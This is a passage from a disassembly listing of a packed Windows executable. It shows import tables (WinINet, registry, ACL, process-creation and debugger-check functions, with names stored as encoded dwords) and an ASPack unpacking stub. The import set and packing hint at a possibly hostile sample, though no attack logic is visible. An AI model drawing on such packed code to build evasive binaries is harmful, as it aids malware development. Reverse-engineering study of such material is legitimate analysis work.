		dd 47B30h, 47B3Ch, 47B50h, 47B60h, 47B74h, 47B84h, 47B94h
		dd 47BA8h
dword_447290	dd 2 dup(0)		; DATA XREF: .idata:off_447050o
					; .idata:0044705Co ...
		dd 47BBCh, 47BD0h, 47BE0h, 47BF0h, 47C08h
dword_4472AC	dd 2 dup(0)		; DATA XREF: .idata:off_447064o
					; .idata:00447070o ...
		dd 47C18h, 47C2Ch, 47C44h, 47C58h, 47C68h, 47C78h, 47C8Ch
		dd 47CA0h, 47CB4h, 47CC8h, 47CDCh, 47CF8h, 47D10h
dword_4472E8	dd 2 dup(0)		; DATA XREF: .idata:off_447078o
					; .idata:00447084o ...
		dd 47D2Ch, 47D34h, 47D44h, 47D50h, 47D5Ch, 47D64h, 47D6Ch
		dd 47D78h, 47D84h, 47D90h, 47D98h, 47DA0h, 47DACh, 47DB8h
		dd 47DC0h, 47DCCh, 47DD8h, 47DE4h
dword_447338	dd 2 dup(0)		; DATA XREF: .idata:off_44708Co
					; .idata:00447098o ...
dword_447340	dd 77121680h		; DATA XREF: sub_40BA0Cr
		dd 2 dup(0)
dword_44734C	dd 7620FB39h		; DATA XREF: sub_40BA18r
dword_447350	dd 76220FB4h		; DATA XREF: sub_40BA24r
		dd 2 dup(0)
dword_44735C	dd 771C1E56h		; DATA XREF: sub_40BA30r
dword_447360	dd 771C69DCh		; DATA XREF: sub_40BA3Cr
dword_447364	dd 771C6F69h		; DATA XREF: sub_40BA48r
dword_447368	dd 771C16BAh		; DATA XREF: sub_40BA54r
		dd 2 dup(0)
dword_447374	dd 77E75CB5h		; DATA XREF: sub_40C4E4r
dword_447378	dd 77E668D9h		; DATA XREF: sub_40C4F0r
dword_44737C	dd 77E7C938h		; DATA XREF: sub_40C4FCr
dword_447380	dd 77E80656h		; DATA XREF: sub_40C508r
dword_447384	dd 77E77CC4h		; DATA XREF: sub_40C514r
dword_447388	dd 77E793EFh		; DATA XREF: sub_40C520r
dword_44738C	dd 77E73CE2h		; DATA XREF: sub_40C52Cr
dword_447390	dd 77F5157Dh		; DATA XREF: sub_40C538r
dword_447394	dd 77E7A099h		; DATA XREF: sub_40C544r
dword_447398	dd 77E79F93h		; DATA XREF: sub_40C550r
dword_44739C	dd 77E77963h		; DATA XREF: sub_40C55Cr
dword_4473A0	dd 77E7A5FDh		; DATA XREF: sub_40C568r
dword_4473A4	dd 77E77CB7h		; DATA XREF: sub_40C574r
dword_4473A8	dd 77E704FCh		; DATA XREF: sub_40C580r
dword_4473AC	dd 77E6AD34h		; DATA XREF: sub_40C58Cr
dword_4473B0	dd 77E7751Ah		; DATA XREF: sub_40C598r
dword_4473B4	dd 77E7C486h		; DATA XREF: sub_40C5A4r
dword_4473B8	dd 77E7C657h		; DATA XREF: sub_40C5B0r
dword_4473BC	dd 77E681EFh		; DATA XREF: sub_40C5BCr
dword_4473C0	dd 77E705B0h		; DATA XREF: sub_40C5C8r
dword_4473C4	dd 77E6C674h		; DATA XREF: sub_40C5D4r
dword_4473C8	dd 77E6D28Ch		; DATA XREF: sub_40C5E0r
dword_4473CC	dd 77E6D229h		; DATA XREF: sub_40C5ECr
dword_4473D0	dd 77E76C1Ah		; DATA XREF: sub_40C5F8r
dword_4473D4	dd 77E6BD13h		; DATA XREF: sub_40C604r
dword_4473D8	dd 77E777EFh		; DATA XREF: sub_40C610r
dword_4473DC	dd 77E7339Ch		; DATA XREF: sub_40C61Cr
dword_4473E0	dd 77E73196h		; DATA XREF: sub_40C628r
dword_4473E4	dd 77E72E92h		; DATA XREF: sub_40C634r
dword_4473E8	dd 77E805D8h		; DATA XREF: sub_40C640r
dword_4473EC	dd 77E79881h		; DATA XREF: sub_40C64Cr
dword_4473F0	dd 77E79A45h		; DATA XREF: sub_40C658r
dword_4473F4	dd 77E8074Ah		; DATA XREF: sub_40C664r
dword_4473F8	dd 77E706B7h		; DATA XREF: sub_40C670r
dword_4473FC	dd 77E7A837h		; DATA XREF: sub_40C67Cr
dword_447400	dd 77E78B82h		; DATA XREF: sub_40C688r
dword_447404	dd 77F6183Eh		; DATA XREF: sub_40C694r
dword_447408	dd 77F82D5Ch		; DATA XREF: sub_40C6A0r
dword_44740C	dd 77E78C81h		; DATA XREF: sub_40C6ACr
dword_447410	dd 77E7011Ah		; DATA XREF: sub_40C6B8r
dword_447414	dd 77E7C2C4h		; DATA XREF: sub_40C6C4r
dword_447418	dd 77E61BE6h		; DATA XREF: sub_40C6D0r
dword_44741C	dd 77E616B4h		; DATA XREF: sub_40C6DCr
dword_447420	dd 77E7980Ah		; DATA XREF: sub_40C6E8r
dword_447424	dd 77E79E34h		; DATA XREF: sub_40C6F4r
dword_447428	dd 77E7F044h		; DATA XREF: sub_40C700r
dword_44742C	dd 77E61BB8h		; DATA XREF: sub_40C70Cr
dword_447430	dd 77E79924h		; DATA XREF: sub_40C718r
dword_447434	dd 77E684C6h		; DATA XREF: sub_40C724r
dword_447438	dd 77E79D8Ch		; DATA XREF: sub_40C730r
dword_44743C	dd 77E74672h		; DATA XREF: sub_40C73Cr
dword_447440	dd 77E77EF1h		; DATA XREF: sub_40C748r
dword_447444	dd 77E7AC37h		; DATA XREF: sub_40C754r
dword_447448	dd 77E73628h		; DATA XREF: sub_40C760r
		dd 2 dup(0)
dword_447454	dd 77D5C13Ah		; DATA XREF: sub_40C76Cr
dword_447458	dd 77D45F74h		; DATA XREF: sub_40C778r
dword_44745C	dd 77D4BDCAh		; DATA XREF: sub_40C784r
dword_447460	dd 77D46254h		; DATA XREF: sub_40C790r
dword_447464	dd 77D5C2CCh		; DATA XREF: sub_40C79Cr
dword_447468	dd 77D48137h		; DATA XREF: sub_40C7A8r
dword_44746C	dd 77D4456Bh		; DATA XREF: sub_40C7B4r
dword_447470	dd 77D47EE5h		; DATA XREF: sub_40C7C0r
dword_447474	dd 77D4A102h		; DATA XREF: sub_40C7CCr
dword_447478	dd 77D444F0h		; DATA XREF: sub_40C7D8r
dword_44747C	dd 77D4DC11h		; DATA XREF: sub_40C7E4r
dword_447480	dd 77D6ADD7h		; DATA XREF: sub_40C7F0r
dword_447484	dd 77D44200h		; DATA XREF: sub_40C7FCr
dword_447488	dd 77D43FEDh		; DATA XREF: sub_40C808r
dword_44748C	dd 77D49951h		; DATA XREF: sub_40C814r
dword_447490	dd 77D8E10Eh		; DATA XREF: sub_40C820r
dword_447494	dd 77D52990h		; DATA XREF: sub_40C82Cr
dword_447498	dd 77D44A45h		; DATA XREF: sub_40C838r
dword_44749C	dd 77D43DD3h		; DATA XREF: sub_40C844r
dword_4474A0	dd 77D441F2h		; DATA XREF: sub_40C850r
dword_4474A4	dd 77D4702Fh		; DATA XREF: sub_40C85Cr
dword_4474A8	dd 77D4C96Ah		; DATA XREF: sub_40C868r
dword_4474AC	dd 77D4B816h		; DATA XREF: sub_40C874r
dword_4474B0	dd 77D47D27h		; DATA XREF: sub_40C880r
dword_4474B4	dd 77D414D4h		; DATA XREF: sub_40C88Cr
dword_4474B8	dd 77D49A11h		; DATA XREF: sub_40C898r
dword_4474BC	dd 77D47EC7h		; DATA XREF: sub_40C8A4r
dword_4474C0	dd 77D46F5Bh		; DATA XREF: sub_40C8B0r
dword_4474C4	dd 77D5BA26h		; DATA XREF: sub_40C8BCr
		align 10h
dword_4474D0	dd 77C724ACh		; DATA XREF: sub_40C8C8r
dword_4474D4	dd 77C71E2Eh		; DATA XREF: sub_40C8D4r
dword_4474D8	dd 77C71D83h		; DATA XREF: sub_40C8E0r
dword_4474DC	dd 77C7E6D9h		; DATA XREF: sub_40C8ECr
dword_4474E0	dd 77C7F85Ah		; DATA XREF: sub_40C8F8r
		dd 2 dup(0)
dword_4474EC	dd 77DD5D20h		; DATA XREF: sub_40C904r
dword_4474F0	dd 77DD5D40h		; DATA XREF: sub_40C910r
dword_4474F4	dd 77DD590Bh		; DATA XREF: sub_40C91Cr
dword_4474F8	dd 77DD189Ah		; DATA XREF: sub_40C928r
dword_4474FC	dd 77DD22EAh		; DATA XREF: sub_40C934r
dword_447500	dd 77DD23D7h		; DATA XREF: sub_40C940r
dword_447504	dd 77DD59F0h		; DATA XREF: sub_40C94Cr
dword_447508	dd 77DE2934h		; DATA XREF: sub_40C958r
dword_44750C	dd 77DE27A1h		; DATA XREF: sub_40C964r
dword_447510	dd 77DE2B37h		; DATA XREF: sub_40C970r
dword_447514	dd 77DD8664h		; DATA XREF: sub_40C97Cr
dword_447518	dd 77DD8619h		; DATA XREF: sub_40C988r
dword_44751C	dd 77DD8656h		; DATA XREF: sub_40C994r
		dd 2 dup(0)
dword_447528	dd 73D96FEBh		; DATA XREF: sub_40C9A0r
dword_44752C	dd 73D91C28h		; DATA XREF: sub_40C9ACr
dword_447530	dd 73D92B86h		; DATA XREF: sub_40C9B8r
dword_447534	dd 73D9A3B0h		; DATA XREF: sub_40C9C4r
dword_447538	dd 73D9B9A2h		; DATA XREF: sub_40C9D0r
dword_44753C	dd 73D91F60h		; DATA XREF: sub_40C9DCr
dword_447540	dd 73D9D320h		; DATA XREF: sub_40C9E8r
dword_447544	dd 73D9D340h		; DATA XREF: sub_40C9F4r
dword_447548	dd 73D9D5E0h		; DATA XREF: sub_40CA00r
dword_44754C	dd 73D9242Ch		; DATA XREF: sub_40CA0Cr
dword_447550	dd 73D9DBAFh		; DATA XREF: sub_40CA18r
dword_447554	dd 73D92226h		; DATA XREF: sub_40CA24r
dword_447558	dd 73D9E5C5h		; DATA XREF: sub_40CA30r
dword_44755C	dd 73D9DBA2h		; DATA XREF: sub_40CA3Cr
dword_447560	dd 73D9E61Eh		; DATA XREF: sub_40CA48r
dword_447564	dd 73D9E65Ch		; DATA XREF: sub_40CA54r
dword_447568	dd 73D9E69Ch		; DATA XREF: sub_40CA60r
dword_44756C	dd 73D9F24Ch		; DATA XREF: sub_40CA6Cr
		dd 0
		dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
		dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
		dd 6E456568h, 41797274h, 0
		dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
		dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
		dd 696C6169h, 657Ah, 6F43005Bh,	6E696E55h, 61697469h, 657A696Ch
		dd 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 78450083h, 646E6170h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 654700DEh
		dd 72754374h, 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h
		dd 72754374h, 746E6572h, 65726854h, 64496461h, 0
		dd 654700F8h, 6C694674h, 7A695365h, 65h, 654700FAh, 6C694674h
		dd 6D695465h, 65h, 65470100h, 73614C74h, 72724574h, 726Fh
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6547010Ch, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6C43001Bh
		dd 4865736Fh, 6C646E61h, 65h, 65470122h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 65470124h, 6F725074h, 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	6547014Dh, 6D655474h, 74615070h, 4168h,	65470155h
		dd 63695474h, 756F436Bh, 746Eh,	6547015Ch, 72655674h, 6E6F6973h
		dd 0
		dd 6547015Dh, 72655674h, 6E6F6973h, 417845h, 6547015Fh
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 65470165h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C470168h, 6C61626Fh,	41646441h, 416D6F74h, 0
		dd 6C47016Ch, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C47016Dh
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C470176h, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 0
		dd 6F430025h, 69467970h, 41656Ch, 6E490194h, 6C726574h
		dd 656B636Fh, 636E4964h, 656D6572h, 746Eh, 73490198h, 52646142h
		dd 50646165h, 7274h, 7349019Bh,	57646142h, 65746972h, 727450h
		dd 7349019Eh, 75626544h, 72656767h, 73657250h, 746E65h
		dd 6F4C01A7h, 694C6461h, 72617262h, 4179h, 6F4C01ADh, 416C6163h
		dd 636F6C6Ch, 0
		dd 6F4C01B1h, 466C6163h, 656572h, 704F01D2h, 754D6E65h
		dd 41786574h, 0
		dd 704F01D4h, 72506E65h, 7365636Fh, 73h, 72430031h, 65746165h
		dd 656C6946h, 41h, 655201FAh, 69466461h, 656Ch,	7452020Eh
		dd 776E556Ch, 646E69h, 7452020Fh, 72655A6Ch, 6D654D6Fh
		dd 79726Fh, 6553023Ah, 6C694674h, 696F5065h, 7265746Eh
		dd 0
		dd 6553023Ch, 6C694674h, 6D695465h, 65h, 7243003Ch, 65746165h
		dd 6574754Dh, 4178h, 6C530264h,	706565h, 6554026Ch, 6E696D72h
		dd 50657461h, 65636F72h, 7373h,	69560285h, 61757472h, 6C6C416Ch
		dd 636Fh, 69560287h, 61757472h,	6572466Ch, 65h,	6956028Ch
		dd 61757472h, 6575516Ch, 7972h,	72430041h, 65746165h, 636F7250h
		dd 41737365h, 0
		dd 69570297h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	69570298h, 6578456Eh, 63h, 725702A2h, 46657469h
		dd 656C69h, 736C02C9h, 656C7274h, 416Eh, 736C02CAh, 656C7274h
		dd 576Eh, 72430047h, 65746165h,	65726854h, 6461h, 65440054h
		dd 6574656Ch, 656C6946h, 41h, 65470066h, 6E695774h, 54776F64h
		dd 41747865h, 0
		dd 6547006Bh, 6E695774h, 52776F64h, 746365h, 69460070h
		dd 6957646Eh, 776F646Eh, 41h, 65470074h, 6E695774h, 776F64h
		dd 6547000Eh, 616C4374h, 614E7373h, 41656Dh, 655300C4h
		dd 636F4674h, 7375h, 654700C9h,	726F4674h, 6F726765h, 57646E75h
		dd 6F646E69h, 77h, 6F4C0016h, 75436461h, 726F7372h, 41h
		dd 6F4C0018h, 63496461h, 416E6Fh, 655300FEh, 6D695474h
		dd 7265h, 65520002h, 74736967h,	6C437265h, 41737361h, 0
		dd 654D0134h, 67617373h, 786F4265h, 41h, 65470020h, 73654D74h
		dd 65676173h, 41h, 65470159h, 6E695774h, 4C776F64h, 41676E6Fh
		dd 0
		dd 6553015Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0
		dd 7243015Eh, 65746165h, 6B736544h, 41706F74h, 0
		dd 65530165h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470166h
		dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540024h, 6C736E61h
		dd 4D657461h, 61737365h, 6567h,	69440025h, 74617073h, 654D6863h
		dd 67617373h, 4165h, 65530030h,	654D646Eh, 67617373h, 4165h
		dd 737701EAh, 6E697270h, 416674h, 6F50003Dh, 75517473h
		dd 654D7469h, 67617373h, 65h, 6853004Bh, 6957776Fh, 776F646Eh
		dd 0
		dd 7243004Fh, 65746165h, 646E6957h, 7845776Fh, 41h, 65440051h
		dd 6F727473h, 6E695779h, 776F64h, 6F4D0056h, 69576576h
		dd 776F646Eh, 0
		dd 6544005Bh, 6E695766h, 50776F64h, 41636F72h, 0
		dd 6143005Dh, 69576C6Ch, 776F646Eh, 636F7250h, 41h, 65470089h
		dd 6F745374h, 624F6B63h, 7463656Ah, 0
		dd 655300CAh, 436B4274h, 726F6C6Fh, 0
		dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h
		dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h
		dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 6547001Ah, 6B6F5474h,	6E496E65h, 6D726F66h, 6F697461h
		dd 6Eh,	65520171h, 65724367h, 4B657461h, 78457965h, 41h
		dd 65520174h, 6F6C4367h, 654B6573h, 79h, 65520179h, 65704F67h
		dd 79654B6Eh, 417845h, 65520184h, 65755167h, 61567972h
		dd 4565756Ch, 4178h, 65520190h,	74655367h, 756C6156h, 41784565h
		dd 0
		dd 654701CAh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CDh
		dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D4h, 746E4574h
		dd 73656972h, 63416E49h, 416Ch,	6547004Ah, 64695374h, 6E656449h
		dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh
		dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
		dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h
		dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h
		dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0
		dd 735F01A6h, 63697274h, 706Dh,	626101F6h, 73h,	7865020Ah
		dd 7469h, 656D0253h, 706D636Dh,	0
		dd 656D0254h, 7970636Dh, 0
		dd 656D0256h, 7465736Dh, 0
		dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h
		dd 0
		dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
		dd 666E6163h, 0
		dd 74730271h, 74616372h, 0
		dd 74730272h, 72686372h, 0
		dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh
		dd 0
		dd offset off_447000
aWininet_dll	db 'WININET.DLL',0
		dd offset off_447014
		dd offset off_447014
aOle32_dll	db 'ole32.DLL',0
		align 4
		dd offset off_447028
		dd offset off_447028
		dd offset off_447028
		dd offset off_447028
aKernel32_dll_2	db 'KERNEL32.DLL',0
		align 4
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
		dd offset off_44703C
aUser32_dll_0	db 'USER32.DLL',0
		align 4
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
		dd offset off_447050
aGdi32_dll	db 'GDI32.DLL',0
		align 4
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
		dd offset off_447064
aAdvapi32_dll_1	db 'ADVAPI32.DLL',0
		align 4
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
		dd offset off_447078
aCrtdll_dll	db 'CRTDLL.DLL',0
		align 4
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		dd offset off_44708C
		align 1000h
_idata		ends

; Section 5. (virtual address 00049000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00049000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_aspack		segment	para public 'DATA' use32
		assume cs:_aspack
		;org 449000h
		db 90h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		call	sub_449577
		jmp	short loc_449055
; ---------------------------------------------------------------------------
		align 4
		dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
		dd 4900001h, 38000000h,	36000000h, 0E7980A00h, 0E79E3477h
		dd 77h,	3 dup(0)
		db 0
; ---------------------------------------------------------------------------

loc_449055:				; CODE XREF: start+6j
		mov	ebx, offset dword_4439A4
		add	ebx, ebp
		sub	ebx, ss:dword_4439D5[ebp]
		cmp	ss:dword_444804[ebp], 0
		mov	ss:dword_444804[ebp], ebx
		jnz	loc_4494DB
		lea	eax, dword_44480C[ebp]
		push	eax
		call	ss:dword_444918[ebp]
		mov	ss:dword_444808[ebp], eax
		mov	edi, eax
		lea	ebx, dword_444819[ebp]
		push	ebx
		push	eax
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E1[ebp], eax
		lea	ebx, dword_444826[ebp]
		push	ebx
		push	edi
		call	ss:dword_444914[ebp]
		mov	ss:dword_4439E5[ebp], eax
		lea	eax, dword_443B72[ebp]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 40h,	2 dup(0)
		dd 70000000h, 12190004h, 2 dup(0)
		dd 10000000h, 0BA780000h, 0B0000000h, 0BCA40003h, 70000000h
		dd 10540004h, 36h dup(0)
		dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
		dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
		dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
		dd 4468B00h, 10E05h, 68046A00h,	1000h, 0FF006A50h, 4439E195h
		dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
		dd 76FF0044h, 0E8535004h, 339h,	39D4BD80h, 75000044h, 0D485FE5Ch
		dd 8B004439h, 4BD033Eh,	0FF004448h, 0C307C637h,	78FD7FFh
		dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
		dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
		dd 75063E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
		dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
		dd 4439D9B5h, 2F9C100h,	0C88BA5F3h, 0F303E183h,	685EA4h
		dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
		dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
		dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
		dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
		dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
		dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh,	7402FB83h
		dd 3FB8316h, 2CEB2074h,	811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
		dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
		dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
		dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
		dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h,	3107E8Bh
		dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
		dd 3047580h, 534343DAh,	0FFFFE381h, 0FF537FFFh,	4439B1B5h
		dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
		dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
		dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
		dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
		dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
		dd 468B5716h, 485030Ch,	50004448h, 0D0858D53h, 50004448h
		dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h,	890689FFh
		dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4494DB:				; CODE XREF: start+6Ej
		mov	eax, ss:dword_443A76[ebp]
		push	eax
		add	eax, ss:dword_444804[ebp]
		pop	ecx
		or	ecx, ecx
		mov	ss:dword_443EA1[ebp], eax
		popa
		jnz	short loc_4494FC
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_4494FC:				; CODE XREF: start+4F1j
		push	offset sub_401219
		retn
start		endp

; ---------------------------------------------------------------------------
aLeHd		db '',8,'HD',0
aNnahd		db 'AHD',0
		dw 5051h
		dd 491495FFh, 85890044h, 4439EDh, 4851858Dh, 0FF500044h
		dd 44491C95h, 4D858900h, 8D004448h, 44485C8Dh, 0FF505100h
		dd 44491495h, 0F1858900h, 8B004439h, 44484D85h,	688D8D00h
		dd 51004448h, 1495FF50h, 0FF004449h, 10C483D0h,	8D306A5Fh
		dd 4448729Dh, 6A575300h, 0F195FF00h, 6A004439h,	0ED95FFFFh
		db 39h,	44h, 0

; =============== S U B	R O U T	I N E =======================================



sub_449577	proc near		; CODE XREF: start+1p
		mov	ebp, [esp+0]
		sub	ebp, offset byte_4439AB
		retn
sub_449577	endp

; ---------------------------------------------------------------------------
		db 8Bh,	44h, 24h
		dd 54EC8110h, 8D000003h, 5004244Ch, 3A8E8h, 248C8B00h
		dd 35Ch, 5824948Bh, 51000003h, 244C8D52h, 40DE80Ch, 0C0840000h
		dd 0C8830A75h, 54C481FFh, 0C3000003h, 60248C8Bh, 8D000003h
		dd 51502404h, 0C244C8Dh, 5EFE8h, 75C08400h, 0FFC8830Ah
		dd 354C481h, 8BC30000h,	0C4812404h, 354h, 10C2h, 4030201h
		dd 8070605h, 100E0C0Ah,	201C1814h, 40383028h, 80706050h
		dd 0E0C0A0h, 0
		dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
		dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
		dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
		dd 12121212h, 0D18B5112h, 8B956h, 39570000h, 3572044Ah
		dd 0FFF8BE53h, 28BFFFFh, 8840188Ah, 890C245Ch, 8428B02h
		dd 0C247C8Bh, 8108E0C1h, 0FFE7h, 8BC70B00h, 0FE03047Ah
		dd 8B084289h, 47A89C7h,	0D273C13Bh, 4728B5Bh, 8B08428Bh
		dd 2B10247Ch, 0B9E8D3CEh, 18h, 0FF25CF2Bh, 0D300FFFFh
		dd 5FF703E8h, 5E047289h, 4C259h, 424448Bh, 824548Bh, 848189h
		dd 91890000h, 88h, 8982048Dh, 8C81h, 1000500h, 8C20000h
		dd 98EC8100h, 53000000h, 0D18B5655h, 0FB957h, 0AA8B0000h
		dd 84h,	7C8DC033h, 0F6332C24h, 0BC8BABF3h, 0AC24h, 89EE3B00h
		dd 76202454h, 8AC93315h, 5C8B380Ch, 4C8D288Ch, 4043288Ch
		dd 1989C53Bh, 17B9EB72h, 89000000h, 89282474h, 72890472h
		dd 24748944h, 89FF3368h, 0C71C2474h, 1102444h, 89000000h
		dd 8D18244Ch, 7489086Ah, 448B1424h, 0E0D32C34h,	0FF81F803h
		dd 1000000h, 24247C89h,	8E870Fh, 448B0000h, 7D892834h
		dd 3C5D8B00h, 0F983C303h, 40458910h, 6C344489h,	758B4D7Ch
		dd 24448B00h, 245C8B10h, 8CBA8B1Ch, 0C1000000h,	0CE8B10EEh
		dd 0FF25h, 3CB2B00h, 8BD88AFBh,	89FB8AD1h, 8B1C2474h, 24748BC3h
		dd 10E0C114h, 0C1C38B66h, 0ABF302E9h, 548BCA8Bh, 0E1832024h
		dd 8BAAF303h, 8B24247Ch, 8B18244Ch, 83102444h, 494004C6h
		dd 8304C583h, 448909F9h, 4C891024h, 74891824h, 8D0F1424h
		dd 0FFFFFF62h, 0FF81h, 0F740100h, 325D5E5Fh, 0C4815BC0h
		dd 98h,	8B0004C2h, 8482h, 85C93300h, 8B3B76C0h,	0AC24B4h
